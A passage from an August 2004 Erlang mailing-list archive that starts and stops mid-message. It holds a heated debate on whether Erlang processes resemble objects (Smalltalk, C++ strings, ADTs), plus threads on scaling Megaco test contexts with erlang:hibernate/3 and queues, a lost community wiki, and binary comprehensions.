*DOESN'T* look like OO. It looks like CCS or CSP or mu calculus or FCP or GHC or whatever. That doesn't mean you can't implement OO in such a scheme. I once had an MSc student who designed a highly concurrent OO language and implemented it by mapping it onto a version of ML with CSP-ish extensions. (Was the name of that ML version LCS? Something like that.) But OO certainly doesn't feel *natural* in this model. There are some important differences: - Unlike the majority of OO approaches, as fossilised in UML, inheritance is *not* a core concept in Erlang designs. - Unlike the majority of OO approaches, as fossilised in UML, an Erlang process does not have a fixed number of state variables. An Erlang process can have any (fixed) number of "states", with transitions between states effected by tail calls, and each state can have a different number of arguments. This means we never have to deal with "oh, this variable isn't defined in this state" problems. In particular, the entire protocol of a process can shift from state to state; this is as if an 'object' could completely change its class. (Smalltalk does in fact allow this via #become: but Ada, C++, Java, and other such languages do not.) When you have this ability, it is amazingly useful on *rare* occasions, but it makes a nonsense of UML. A particularly interesting example of this concerns hot loading. A process could be sent an 'upgrade' message which would cause it to switch over to a function in another module which would convert its old state to a new form and keep running in the new module, _without_ losing its identity. Something rather like this actually happens in Smalltalk when you change the definition of a class that has existing objects, or when you restore a "pickled" object from an ImageSegment and it finds that its class has changed. This kind of thing can be important in real systems, but is unthinkable in UML. - Unlike the majority of OO approaches, state *changes* cannot be hidden deep inside some possibly distant method call buried in another class, not in an Erlang application. *Any* state change must be effected by a tail call to a 'state' function, in which *all* of the state must be explicitly passed. - By making a non-tail call to a 'state' function, it is easy for an Erlang "object" to temporarily shift to a new state (which might even be of a different 'class') and then shift back to its original state. My point here is that if you Just look at it from another side. then a whole lot of things which are easy to do in Erlang become practically impossible to think of. It's not natural to send a message to a string, right, but there's just no another way in Smalltalk to represent the string. The language is conceptually simple (which is good), and we just paying for this simplicity. As someone who has been using Smalltalk a lot, I would say that it *is* natural to send a message to a String. In fact, the protocol of String includes String allSelectors size => 829 methods in Squeak 3.6. Since Smalltalk Strings are mutable, it's not clear how else you could handle such strings in an OO language. There is an incredibly important fact about Smalltalk which actually makes it much closer to the "1000 functions acting on one data structure" approach that Joe approves of than to the crippling "strict encapsulation" that Java enforces (although Java in fact isn't terribly good at encapsulation; once they added the reflection methods encapsulation went away and hid in a corner crying). (Come to think of it, "829 methods acting on one data structure" is pretty close to "1000 functions ...") In Smalltalk, ANYBODY can add a method to ANY class. There is, in Smalltalk, no such thing as a "sealed" built-in class. If I want a new method, let's say #numberOfRuns, that makes sense for any sequence, I just add it SequenceableCollection>> numberOfRuns |n x| n := 0. self do: [:each | (n = 0 or: [each ~= x]) ifTrue: [ n := n + 1. x := each]]. ^n Now I can ask 'Mississippi' numberOfRuns (the answer is 8). In fact, since SequenceableCollection has 64 descendants in the version of Squeak Smalltalk I've tried, I've added this function to 64 data types including arrays, bitmaps sound buffers, strings, and various kinds of packed arrays of primitive types. Inheritance really can have its uses. (Also it can have its dangers; Semaphore inherits from SequenceableCollection and I'm not sure that this really makes much sense.) The thing that makes it natural to send messages to Strings is that you can add NEW String methods, as I just illustrated above. You are not limited to the set of methods that the original designer thought of. Oddly enough, despite being the second famous "classic" OO language (the other famous "classic" OO language is Simula 67), Smalltalk really doesn't fit very comfortably into the UML straitjacket. I note, for example, that when I loaded the "Magma" object-oriented database package into Squeak, it thrust its tentacles all over the place, so that various kinds of built-in objects would know how to save themselves into a DB and restore themselves thence. This is in some ways the very reverse of encapsulation, but it is necessary if you are to be able to install such incredibly useful facilities without having them built into the language and compiler. (Yes, there is an Erlang analogue. Mnesia can handle -records precisely *because* -records are NOT encapsulated.) >From the other hand, string object from STL (C++) is an excellent example of OO practice. (a) While C++ strings _are_ part of the C++ standard, they are _not_ part of the STL. I have a copy of the 1998 STL Programmer's Guide from SGI online, and I can assure readers that 'string' is not there. (b) C++ strings are widely regarded as a disastrously bad design. They have so many problems that I don't know where to begin, but you will find plenty of discussion of the topic on the web. (c) The funny thing about the Standard Template Library is that IT IS NOT OBJECT-ORIENTED. It's all about *templates*, as the name says, not about *objects*. What it depends on is NOT OO in any way shape or form but higher-order functions and overloading. You can, and Stepanov in fact *did*, produce something very similar for Ada 83, which was the last version of Ada not to support OO. Typed functional languages without a trace of persistent identity, mutable state, or inheritance, can and do support conceptually very similar libraries. Suppose you want to capitalize letters in the string. If you going to find (sic.) corresponding method in std::string, you are wrong. You will not find it. Because string expose only an iterator interface, like generic container, which doesn't depend on string implementation. _This_ is the right way to represent the string object. C++ strings do _not_ "expose only an iterator interface". A quick check with an AWK script looking at /opt/SUNWspro/WS6U2/include/CC/Cstd/string found over 100 public types and methods. Some of those are the iterator interface, but the majority of them are not. There's assignment, comparison, concatenation, in-place appending, searching, all sorts of stuff done directly by basic_string<> and _not_ via the STL at all. What you have to do, is to apply _generic_ algorithm "transform" (working on all container types!) and use scalar function toupper( char ). Beutiful. Natural. Clever. And string is still an object. I have The Talking Moose on my MacOS X box. Only a few minutes ago it popped up and said 'for every problem there is a solution which is simple, neat, and wrong'. Even in ISO Latin 1, converting a string to upper case may yield a result which is NOT THE SAME SIZE as the string you started with. In particular, any char toupper(char) function *has* to give incorrect results for at least one character in ISO Latin 1. For Unicode, which Erlang is supposed to be moving to, any attempt to do case conversion one character at a time is doomed, DOOMED, D O O M E D, I tell you (runs away cackling into the distance as the monster stalks out of the crypt door). I'm actually trying in my spare time to write a "static" Smalltalk compiler and library, and I've been staring down the barrel of string handling far too long. Unicode is just plain nasty, and everything you _think_ you know about string handling is probably wrong. Unicode handling is so nasty that encapsulating it and *not* letting people get their hands on raw Unicodes is probably the best way to preserve our sanity. Oh yeah, did I mention that case conversion is locale-sensitive? D O O M E D ! From erlang@REDACTED Fri Aug 13 10:15:14 2004 From: erlang@REDACTED (Peter-Henry Mander) Date: Fri, 13 Aug 2004 09:15:14 +0100 Subject: How to manage 100000+ Megaco contexts on a measly PC? Message-ID: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> Hi Gurus, This is a simple question, hopefully with a simple answer that I probably would have concluded for myself. But it's Friday, yesterday was a company celebration, and I'm lazy. So apologies all around if I sound brain-dead. I'm using the OTP/Megaco stack in Erlang to perform functional and stress test of our Session Controller. I wish to create over 100000 contexts with two terminations each. So far, due to memory constraints alone, I can only reach 5000 contexts before virtual memory kicks in and thrashes the disk destroying the otherwise acceptable rate of 300~400 context creations each second for each PC. We can already use multiple PCs to exceed the rate of the Session Controller, but we don't achieve the 100000 or more concurrent contexts which would require all the PCs we currently have to test just one machine! So here are the strategies I've devised so far: 1) A very simple solution would be to stuff 16GB or more RAM into the PC. It's cheap but not elegant, and I object to brute force solutions where better algorithms would pay much greater return. 2) Another solution is to reduce the memory footprint of each process mirroring each context in the Session Controller. How would I do this? Would a garbage-collection once the context is created (Megaco Add) and configured (Megaco Modify) reduce the memory footprint sufficiently to allow 100000 context processes to co-exist in 1GB of RAM? 3) The solution I think would be far better than either the above would be to store the Context ID in a list or database after completing the Modify and squirting a burst of RTP media through the Session Controller to verify proper operation, then terminate the process and delegate to a subtraction process which would recover the Context ID at the appropriate moment and issue a Subtract to the Session Controller. All that is required for Subtract is the Context ID, which need to be sorted and stored according to subtraction order. Since the subtract rate is the same as the add rate I can use a second instance of the rate-control process that I already wrote. Since I need a FIFO to store context IDs, is there one available in OTP? I would prefer to avoid continually reversing a list of over 100000 elements! Has anyone else confronted a similar issue and arrived at the same conclusion that (3) is the best solution, or is there an even better or simpler solution? Pete. -- "The Tao of Programming flows far away and returns on the wind of morning." From erlang@REDACTED Fri Aug 13 10:25:29 2004 From: erlang@REDACTED (Peter-Henry Mander) Date: Fri, 13 Aug 2004 09:25:29 +0100 Subject: Has the Erlang wiki died? Message-ID: <20040813092529.7ebcc04c.erlang@manderp.freeserve.co.uk> Hi all, http://www.bluetail.com/wiki/ no longer works, the domain name now points to Nortel! Has anyone managed to recover the contents of the wiki so that it may be revived? Even though it wasn't very active, it would be sad to lose it. Pete. -- "The Tao of Programming flows far away and returns on the wind of morning." From bjorn@REDACTED Fri Aug 13 10:27:07 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 13 Aug 2004 10:27:07 +0200 Subject: How to manage 100000+ Megaco contexts on a measly PC? In-Reply-To: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> References: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> Message-ID: Have you looked at erlang:hibernate/3, introduced in R9C? /Bjorn Peter-Henry Mander writes: > Hi Gurus, > > This is a simple question, hopefully with a simple answer that I > probably would have concluded for myself. But it's Friday, yesterday was > a company celebration, and I'm lazy. So apologies all around if I sound > brain-dead. > > I'm using the OTP/Megaco stack in Erlang to perform functional and > stress test of our Session Controller. I wish to create over 100000 > contexts with two terminations each. So far, due to memory constraints > alone, I can only reach 5000 contexts before virtual memory kicks in and > thrashes the disk destroying the otherwise acceptable rate of 300~400 > context creations each second for each PC. We can already use multiple > PCs to exceed the rate of the Session Controller, but we don't achieve > the 100000 or more concurrent contexts which would require all the PCs > we currently have to test just one machine! > > So here are the strategies I've devised so far: > > 1) A very simple solution would be to stuff 16GB or more RAM into the > PC. It's cheap but not elegant, and I object to brute force solutions > where better algorithms would pay much greater return. > > 2) Another solution is to reduce the memory footprint of each process > mirroring each context in the Session Controller. How would I do this? > Would a garbage-collection once the context is created (Megaco Add) and > configured (Megaco Modify) reduce the memory footprint sufficiently to > allow 100000 context processes to co-exist in 1GB of RAM? > > 3) The solution I think would be far better than either the above would > be to store the Context ID in a list or database after completing the > Modify and squirting a burst of RTP media through the Session Controller > to verify proper operation, then terminate the process and delegate to a > subtraction process which would recover the Context ID at the > appropriate moment and issue a Subtract to the Session Controller. All > that is required for Subtract is the Context ID, which need to be sorted > and stored according to subtraction order. Since the subtract rate is > the same as the add rate I can use a second instance of the rate-control > process that I already wrote. Since I need a FIFO to store context IDs, > is there one available in OTP? I would prefer to avoid continually > reversing a list of over 100000 elements! > > Has anyone else confronted a similar issue and arrived at the same > conclusion that (3) is the best solution, or is there an even better or > simpler solution? > > Pete. > > -- > "The Tao of Programming > flows far away > and returns > on the wind of morning." > -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From erlang@REDACTED Fri Aug 13 10:41:12 2004 From: erlang@REDACTED (Peter-Henry Mander) Date: Fri, 13 Aug 2004 09:41:12 +0100 Subject: How to manage 100000+ Megaco contexts on a measly PC? In-Reply-To: References: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> Message-ID: <20040813094112.3b131e67.erlang@manderp.freeserve.co.uk> Hi Bjorn, I've looked, and it would solve the problem nicely, thanks. Pete. On 13 Aug 2004 10:27:07 +0200 Bjorn Gustavsson wrote: > Have you looked at erlang:hibernate/3, introduced in R9C? > > /Bjorn > [snip] -- "The Tao of Programming flows far away and returns on the wind of morning." From hedeland@REDACTED Fri Aug 13 12:33:32 2004 From: hedeland@REDACTED (Per Hedeland) Date: Fri, 13 Aug 2004 12:33:32 +0200 (CEST) Subject: Has the Erlang wiki died? In-Reply-To: <20040813092529.7ebcc04c.erlang@manderp.freeserve.co.uk> Message-ID: <200408131033.i7DAXWus095377@tordmule.bluetail.com> Peter-Henry Mander wrote: > >http://www.bluetail.com/wiki/ no longer works, the domain name now >points to Nortel! Has anyone managed to recover the contents of the wiki >so that it may be revived? Even though it wasn't very active, it would >be sad to lose it. Well, we were just about to transfer the wiki and some other stuff to a new server, but while everyone was on vacation the old server decided to take the matter in its own hands and die. We'll try to recover what is possible to recover, but no guarantees... --Per From hakan@REDACTED Fri Aug 13 13:16:00 2004 From: hakan@REDACTED (Hakan Mattsson) Date: Fri, 13 Aug 2004 13:16:00 +0200 (CEST) Subject: How to manage 100000+ Megaco contexts on a measly PC? In-Reply-To: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> Message-ID: On Fri, 13 Aug 2004, Peter-Henry Mander wrote: PM> 2) Another solution is to reduce the memory footprint of each process PM> mirroring each context in the Session Controller. How would I do this? PM> Would a garbage-collection once the context is created (Megaco Add) and PM> configured (Megaco Modify) reduce the memory footprint sufficiently to PM> allow 100000 context processes to co-exist in 1GB of RAM? Take a look at erlang:hibernate/3. PM> 3) The solution I think would be far better than either the above would PM> be to store the Context ID in a list or database after completing the PM> Modify and squirting a burst of RTP media through the Session Controller PM> to verify proper operation, then terminate the process and delegate to a PM> subtraction process which would recover the Context ID at the PM> appropriate moment and issue a Subtract to the Session Controller. All PM> that is required for Subtract is the Context ID, which need to be sorted PM> and stored according to subtraction order. Since the subtract rate is PM> the same as the add rate I can use a second instance of the rate-control PM> process that I already wrote. Since I need a FIFO to store context IDs, PM> is there one available in OTP? I would prefer to avoid continually PM> reversing a list of over 100000 elements! Take a look at the queue module. /H?kan From erlang@REDACTED Fri Aug 13 13:27:06 2004 From: erlang@REDACTED (Peter-Henry Mander) Date: Fri, 13 Aug 2004 12:27:06 +0100 Subject: Has the Erlang wiki died? In-Reply-To: <200408131033.i7DAXWus095377@tordmule.bluetail.com> References: <20040813092529.7ebcc04c.erlang@manderp.freeserve.co.uk> <200408131033.i7DAXWus095377@tordmule.bluetail.com> Message-ID: <20040813122706.5176f08d.erlang@manderp.freeserve.co.uk> Hi Domi, Can we give your snapshot to Per (cc'ed), just in case his recovery attempt goes awry? How long ago was the snapshot taken? Pete. On Fri, 13 Aug 2004 12:54:17 +0200 "Domonkos Asztalos (IJ/ETH)" wrote: > I had downloaded it and found it now. > Is that OK for you? > /Domi On Fri, 13 Aug 2004 12:33:32 +0200 (CEST) Per Hedeland wrote: > Peter-Henry Mander wrote: > > > >http://www.bluetail.com/wiki/ no longer works, the domain name now > >points to Nortel! Has anyone managed to recover the contents of the wiki > >so that it may be revived? Even though it wasn't very active, it would > >be sad to lose it. > > Well, we were just about to transfer the wiki and some other stuff to a > new server, but while everyone was on vacation the old server decided to > take the matter in its own hands and die. We'll try to recover what is > possible to recover, but no guarantees... > > --Per -- "The Tao of Programming flows far away and returns on the wind of morning." From vlad@REDACTED Fri Aug 13 13:34:19 2004 From: vlad@REDACTED (Vlad Balin) Date: Fri, 13 Aug 2004 15:34:19 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: <200408130354.i7D3sK4q275875@atlas.otago.ac.nz> Message-ID: > I'm getting a bit tired of seeing Alan Kay's name spelled with an "e". > It's KAY, not KEY. I'm not native speaker, as you could notice. And have read this name in Russian. Thank you for correction. Btw, it's more polite just to spell it properly. It's not particularry interesting to know have you been tired or not. > For what it's worth, Smalltalk, including the Squeak and Croquet systems > on which Alan Kay has most recently worked, does *not* really handle > concurrency via OO. Processes are objects, and > pid := [.....block of code....] fork. [ skipped ] We discussing an approach for conceptual desing, not the way *how* it's implemented in Smalltalk. Details of Smalltalk implementation are not interesting, what is interesting is the _semantic_ (!) of message processing operation, if you can understand the difference, of cause. Here you just switched the topic. Previously it was about KAY's (thank you again) definition of an object system, not about Smalltalk implementation. Read mail carefully, please. > Another important point is that if you combine > - processes which do computations using > - a pure functional programming language > - and message sends to other processes > then the potential for things that look like mutable variables is > inescapable. This happens in CCS, CSP, and the (few) related formalisms > that I am familiar with: once you can do > > var := receive then var(X) > > var(X) := receive then var(Y) > or receive then send to Pid then var(X) > > then you have something practically indistinguishable from an imperative > variable. If you want a solution that doesn't involve something that > looks like mutable state encapsulated in processes (even though it isn't > technically mutable), then you have to ban processes. > > This *DOESN'T* look like OO. It looks like CCS or CSP or mu calculus > or FCP or GHC or whatever. So many clever words, and no any arguments why and in which sense it *DOESN'T* look like OO. Looks like capitalization is is used instead of arguments. Moreover, you have not even referred to definition OO which it *DOESN'T* look like. Who knows, what is happening in your head? Noone, until you explain. Now I feel only that you are a bit tired. > That doesn't mean you can't implement OO in such a scheme. > I once had an MSc student who designed a highly concurrent OO language > and implemented it by mapping it onto a version of ML with CSP-ish > extensions. (Was the name of that ML version LCS? Something like that.) > But OO certainly doesn't feel *natural* in this model. [ skipped ] > My point here is that if you > > Just look at it from another side. > > then a whole lot of things which are easy to do in Erlang become > practically impossible to think of. Really? :) Are you sure you understand the mail you're replying on? You mean, that if I will think of processes as of objects (without classes) at the stage of *high*level*design* (in order to simplify "concurrency patterns" identification), then I magically will not be able to take Erlang process nuances into account in further design and development? :))) IMHO, people are not idiots. [ skipped ] > >From the other hand, string object from STL (C++) is an > excellent example of OO practice. > > (a) While C++ strings _are_ part of the C++ standard, they are _not_ > part of the STL. I have a copy of the 1998 STL Programmer's Guide > from SGI online, and I can assure readers that 'string' is not there. I have several STL libraries installed on my computer, and as working C++ developer with 5+ year expertience I can assure you that string is a part of these libraries. And STL library is the part of C++ standard, JFYI. http://www.sgi.com/tech/stl/table_of_contents.html Strings are defined as one of STL container types. I will not assure "readers" in anything like you, just give them the possibility to check it online. Anyway, if string even would not be a part of STL, it's completely STL compatible, and designed in a spirit of STL. It's funny to see how you're step by step trying to proof that I'm an idiot :)). It even look like the main goal of you "publication". One problem, I'm sure that I'm not one. And I (like the most people) don't like such attempts. > (b) C++ strings are widely regarded as a disastrously bad design. > They have so many problems that I don't know where to begin, but > you will find plenty of discussion of the topic on the web. :)) I see, they have so many problems that you choose not bother yourself giving example of even one. Likely, it could be found in internet, because it's known that almost everything can be found there. :)) > (c) The funny thing about the Standard Template Library is that > IT IS NOT OBJECT-ORIENTED. It's all about *templates*, as the name > says, not about *objects*. What it depends on is NOT OO in any > way shape or form but higher-order functions and overloading. > You can, and Stepanov in fact *did*, produce something very similar > for Ada 83, which was the last version of Ada not to support OO. The funny thing is that OBJECT-ORIENTED term has a number of different definitions, and OBJECT term has been often defined separately from OBJECT- ORIENTATION. The more funny thing is that you have to read my mail again in order understand which definition of OBJECT I'm operating with. I do not make a secret out of it. And the funniest thing is that I'm not going to discuss with you which definition of an OBJECT term is better. Leave it to the college students. > Suppose you want to capitalize letters in the string. If you > going to find (sic.) corresponding method in std::string, you are > wrong. You will not find it. Because string expose only an > iterator interface, like generic container, which doesn't depend > on string implementation. _This_ is the right way to represent > the string object. > > C++ strings do _not_ "expose only an iterator interface". A quick check > with an AWK script looking at /opt/SUNWspro/WS6U2/include/CC/Cstd/string > found over 100 public types and methods. Some of those are the iterator > interface, but the majority of them are not. There's assignment, > comparison, concatenation, in-place appending, searching, all sorts of > stuff done directly by basic_string<> and _not_ via the STL at all. Not all sorts of stuff. I meant that it'm mainly STL container (not only an iterator, of cause) interface, with a few string specific functions. In contract to CString model, you don't have to "attach" everything to the class to perform string manipulation, that was counter-argument to Joe. That's all about design, not about running AWK scripts. So YOU could just ignore it, if you're not interested in topic. > > What you have to do, is to apply _generic_ algorithm > "transform" (working on > all container types!) and use scalar function toupper( char ). > Beutiful. Natural. Clever. And string is still an object. > > I have The Talking Moose on my MacOS X box. Only a few minutes > ago it popped > up and said 'for every problem there is a solution which is > simple, neat, and > wrong'. Even if I'm working with ASCII strings? Have you asked me which strings I'm working with? No? :) So calm down, please. From erlang@REDACTED Fri Aug 13 13:35:18 2004 From: erlang@REDACTED (Peter-Henry Mander) Date: Fri, 13 Aug 2004 12:35:18 +0100 Subject: How to manage 100000+ Megaco contexts on a measly PC? In-Reply-To: References: <20040813091514.74b70b8a.erlang@manderp.freeserve.co.uk> Message-ID: <20040813123518.07fcfef2.erlang@manderp.freeserve.co.uk> Hi Hakan and Bjorn, The queue completes the picture. I expected that OTP team would have anticipated the problem I've confronted and had already created a solution. Thank you. Pete. On Fri, 13 Aug 2004 13:16:00 +0200 (CEST) Hakan Mattsson wrote: > On Fri, 13 Aug 2004, Peter-Henry Mander wrote: > > PM> 2) Another solution is to reduce the memory footprint of each process > PM> mirroring each context in the Session Controller. How would I do this? > PM> Would a garbage-collection once the context is created (Megaco Add) and > PM> configured (Megaco Modify) reduce the memory footprint sufficiently to > PM> allow 100000 context processes to co-exist in 1GB of RAM? > > Take a look at erlang:hibernate/3. > > PM> 3) The solution I think would be far better than either the above would > PM> be to store the Context ID in a list or database after completing the > PM> Modify and squirting a burst of RTP media through the Session Controller > PM> to verify proper operation, then terminate the process and delegate to a > PM> subtraction process which would recover the Context ID at the > PM> appropriate moment and issue a Subtract to the Session Controller. All > PM> that is required for Subtract is the Context ID, which need to be sorted > PM> and stored according to subtraction order. Since the subtract rate is > PM> the same as the add rate I can use a second instance of the rate-control > PM> process that I already wrote. Since I need a FIFO to store context IDs, > PM> is there one available in OTP? I would prefer to avoid continually > PM> reversing a list of over 100000 elements! > > Take a look at the queue module. > > -- "The Tao of Programming flows far away and returns on the wind of morning." From thomasl_erlang@REDACTED Fri Aug 13 14:04:58 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Fri, 13 Aug 2004 05:04:58 -0700 (PDT) Subject: Binary comprehensions In-Reply-To: <411C0EB7.5060306@duomark.com> Message-ID: <20040813120458.50374.qmail@web41902.mail.yahoo.com> --- Jay Nelson wrote: > Has anyone requested binary comprehensions? I think it could be an interesting extension, though it needs a bit of work to compile well (in contrast with list comprehensions, presumably the elements wouldn't need to have the same nice size, for example). For some special cases, a list comprehension wrapped in binary_to_list/list_to_binary would suffice. E.g., list_to_binary([ foo(X) || X <- binary_to_list(Bin)]) Let's analyze the costs of the above compared to a direct binary comprehension. Assume that the work foo(X) is negligible so that we can concentrate on overheads. - extracting the bytes from the starting binary: using binary_to_list, there is the overhead of an intermediate list and the limitation of only extracting bytes; better compilation might get rid of this. Or maybe just a generalized binary_to_list which splits binaries into user-defined chunks. (And a library of higher-order operations on binaries?) - building the final binary: if we want to directly construct the final binary, we have to know an upper bound of its size (otherwise we cannot preallocate memory for it). Since we can't do that, the general case may have to stitch together smaller binaries. (Does Erlang/OTP have "heap binaries" these days?) So, my guess is: binary comprehensions can be a pleasant notation, but performance wins compared to list comprehensions are unclear. It will need a bit of compiler work to do well. On the other hand, good notation is an end in itself, and it might be blazingly fast on selected code :-) Best, Thomas __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From erlang@REDACTED Fri Aug 13 14:37:53 2004 From: erlang@REDACTED (Inswitch Solutions - Erlang Evaluation) Date: Fri, 13 Aug 2004 09:37:53 -0300 Subject: How to manage 100000+ Megaco contexts on a measly PC? References: Message-ID: <009601c48132$5d69f6f0$1e00a8c0@design> Hi!, PM> 2) Another solution is to reduce the memory footprint of each process PM> mirroring each context in the Session Controller. How would I do this? PM> Would a garbage-collection once the context is created (Megaco Add) and PM> configured (Megaco Modify) reduce the memory footprint sufficiently to PM> allow 100000 context processes to co-exist in 1GB of RAM? The use of erlang:hibernate/3 function relates to memory only or are other perfomance issues ? thanks, Eduardo Figoli INSwitch Solutions ----- Original Message ----- From: "Hakan Mattsson" To: "Peter-Henry Mander" Cc: Sent: Friday, August 13, 2004 8:16 AM Subject: Re: How to manage 100000+ Megaco contexts on a measly PC? On Fri, 13 Aug 2004, Peter-Henry Mander wrote: PM> 2) Another solution is to reduce the memory footprint of each process PM> mirroring each context in the Session Controller. How would I do this? PM> Would a garbage-collection once the context is created (Megaco Add) and PM> configured (Megaco Modify) reduce the memory footprint sufficiently to PM> allow 100000 context processes to co-exist in 1GB of RAM? Take a look at erlang:hibernate/3. PM> 3) The solution I think would be far better than either the above would PM> be to store the Context ID in a list or database after completing the PM> Modify and squirting a burst of RTP media through the Session Controller PM> to verify proper operation, then terminate the process and delegate to a PM> subtraction process which would recover the Context ID at the PM> appropriate moment and issue a Subtract to the Session Controller. All PM> that is required for Subtract is the Context ID, which need to be sorted PM> and stored according to subtraction order. Since the subtract rate is PM> the same as the add rate I can use a second instance of the rate-control PM> process that I already wrote. Since I need a FIFO to store context IDs, PM> is there one available in OTP? I would prefer to avoid continually PM> reversing a list of over 100000 elements! Take a look at the queue module. /H?kan From thomasl_erlang@REDACTED Fri Aug 13 15:02:37 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Fri, 13 Aug 2004 06:02:37 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: <20040813130237.22555.qmail@web41905.mail.yahoo.com> --- Vlad Balin wrote: > > Sorry, I'm afraid I don't follow you. > Thats why you don't understand. You don't say? > Again, try to define function accepting an instance > of > abstract data type, (which, I remember you, is > defined by the > set of operations _only_, you cannot directly access > internals). By a function "accepting an instance" of an ADT, I take it you mean we have an element of the abstract datatype which is passed as an argument to the function? In that case, note that a function "accepting an instance" of an abstract datatype does not necessarily have anything to do with the ADT. (Other functions will pass around ADT elements, for example.) > And suppose you have 2 different implementation of > the same > ADT. There's no principal reasons not to do so, in > other > case it's not quite 'abstract'. Sure. > You pass your ADT > instances > as a parameter to this function. > > Since ADT is defined by the set of operations > _only_, I would > expect function to work properly for both instances, > i. e. that > function will not notice the difference - operations > are the same, > so type should be the same too! > But it _will_ work properly _only_ in case, if > operations will > be _associated_ with ADT instance. Okay. The payoff, then. But "associated" in _this_ case does not mean the same as "methods associated with an object". An object has *explicitly* associated methods, while in an ADT, the data only has *implicitly* associated functions. Reconsider my example of Smalltalk objects vs Erlang terms. > Look how ADT implemented in Haskell, as I can > remember that > is exactly such a case. Haskell (or SML) is not the only way to implement ADTs. ADTs have been used in many programming languages. > In other case (if you refuse writing generic > functions) this > question (are functions associated with instances or > not) > is _academic_ and doesn't make sense at all, because > in any > case you will not notice any effective difference > between > these two cases. Of course there is an effective, practical difference. I'll refer you to my previous example of writing an Erlang tree ADT vs representing the tree as objects. The design is different. The code is different. > > Grady Booch told us an object has state, behaviour > and > > identity in 1991. This seems to be an accepted > truth > > in the OO community, as far as I can tell. > Ok. I see. Open OCaml manual, OO section. > Lets see did they accepted it or not. OCaml is hardly the principal example of an object oriented language. > My impression is that 'object' is so general, > popular and intuitive term > that the most developers I seen feeling free to use > it without > consultation with Mr. Booch. :) So I would be very > careful > to talk about the community. If you ask an OO practitioner what makes something an 'object', you might be surprised. (Hopefully not too many will answer "huh?") In closing, when I re-read this post, it appears I have mainly referred back to points already made in my previous message. So I'll leave it at that. Best, Thomas __________________________________ Do you Yahoo!? Y! Messenger - Communicate in real time. Download now. http://messenger.yahoo.com From luke@REDACTED Fri Aug 13 15:26:26 2004 From: luke@REDACTED (Luke Gorrie) Date: Fri, 13 Aug 2004 15:26:26 +0200 Subject: Has the Erlang wiki died? In-Reply-To: <20040813122706.5176f08d.erlang@manderp.freeserve.co.uk> (Peter-Henry Mander's message of "Fri, 13 Aug 2004 12:27:06 +0100") References: <20040813092529.7ebcc04c.erlang@manderp.freeserve.co.uk> <200408131033.i7DAXWus095377@tordmule.bluetail.com> <20040813122706.5176f08d.erlang@manderp.freeserve.co.uk> Message-ID: Peter-Henry Mander writes: > Can we give your snapshot to Per (cc'ed), just in case his > recovery attempt goes awry? How long ago was the snapshot taken? There is an ultra-fancy new and improved Erlang wiki here: http://metafrog.erlang-projects.org:8888/ From luke@REDACTED Fri Aug 13 15:44:24 2004 From: luke@REDACTED (Luke Gorrie) Date: Fri, 13 Aug 2004 15:44:24 +0200 Subject: Binary comprehensions In-Reply-To: <411C0EB7.5060306@duomark.com> (Jay Nelson's message of "Thu, 12 Aug 2004 17:43:35 -0700") References: <411C0EB7.5060306@duomark.com> Message-ID: Jay Nelson writes: > Has anyone requested binary comprehensions? Speaking of comprehensions, does anyone else think that the way multiple generators in a list comprehension works is weird? I think this behaviour would be better: [{X,Y} || X <- [1,2,3], Y <- [a,b,c]] => [{1,a},{2,b},{3,c}] i.e. to walk over the lists in parallel instead of trying all the combinations. I'm always writing code that walks down two lists in parallel and very rarely wanting all the combinations. I'm not suggesting it be changed (of course). I just think it's funny that list comprehensions turn up in lots of programminig languages and I hardly ever see someone use more than one generator at a time. Syntactic sugar should optimize for the most common cases, right? -Luke From vlad@REDACTED Fri Aug 13 16:23:24 2004 From: vlad@REDACTED (Vlad Balin) Date: Fri, 13 Aug 2004 18:23:24 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: <20040813130237.22555.qmail@web41905.mail.yahoo.com> Message-ID: > > Again, try to define function accepting an instance > > of > > abstract data type, (which, I remember you, is > > defined by the > > set of operations _only_, you cannot directly access > > internals). > > By a function "accepting an instance" of an ADT, I > take it you mean we have an element of the abstract > datatype which is passed as an argument to the > function? Yes. > In that case, note that a function "accepting an > instance" of an abstract datatype does not necessarily > have anything to do with the ADT. (Other functions > will pass around ADT elements, for example.) Sure I know it's not necessary. :) I think you understand that I assume it _will_ be used in this function for the purpose of illustration. > But "associated" in _this_ case does not mean the same > as "methods associated with an object". An object has > *explicitly* associated methods, while in an ADT, the > data only has *implicitly* associated functions. I see you agreed that operations are in a some sense *associated* with an ADT instance. Good. > Reconsider my example of Smalltalk objects vs Erlang > terms. Hmm... Interesting. Did it and still don't understand the difference. ADT is [explicitly] *defined* by the functions (operations on the type), how it can be done in implicit way? Please, illustrate it on queue from the Erlang standard library. The more examples the better. > > Look how ADT implemented in Haskell, as I can > > remember that > > is exactly such a case. > > Haskell (or SML) is not the only way to implement > ADTs. ADTs have been used in many programming > languages. I know. :) > > In other case (if you refuse writing generic > > functions) this > > question (are functions associated with instances or > > not) > > is _academic_ and doesn't make sense at all, because > > in any > > case you will not notice any effective difference > > between > > these two cases. > > Of course there is an effective, practical difference. > I'll refer you to my previous example of writing an > Erlang tree ADT vs representing the tree as objects. > The design is different. The code is different. > lookup({node, K, V, Left, Right}) -> ... > lookup(leaf) -> ... No effective differences from ADT point of view. You will perform lookup for tree ADT like this: lookup( Tree ) In C++ it will look like Tree.lookup() where Tree will be accepted as implicit parameter. >From ADT interface and properties point of view - difference is only in notation. An _implementation_ and _design_ differences caused only by the fact, that in conventional OO languages functions can be polimorphic only by the type granularity. I. e. functions can be polimorphic in run time only by the one implicit argument and only the difference in type is taken into account. This fact force developers to introduce more "objects", than in Erlang. In contrast, Erlang has more powerful polimorphism is some sense, allowing us to take values and structure of the data in cosideration. However, there's no problem to define exactly the same ADT in C++ with a same design, but it will be not natural for C++ and less effective than using 'native' ideoms. Again, from ADT 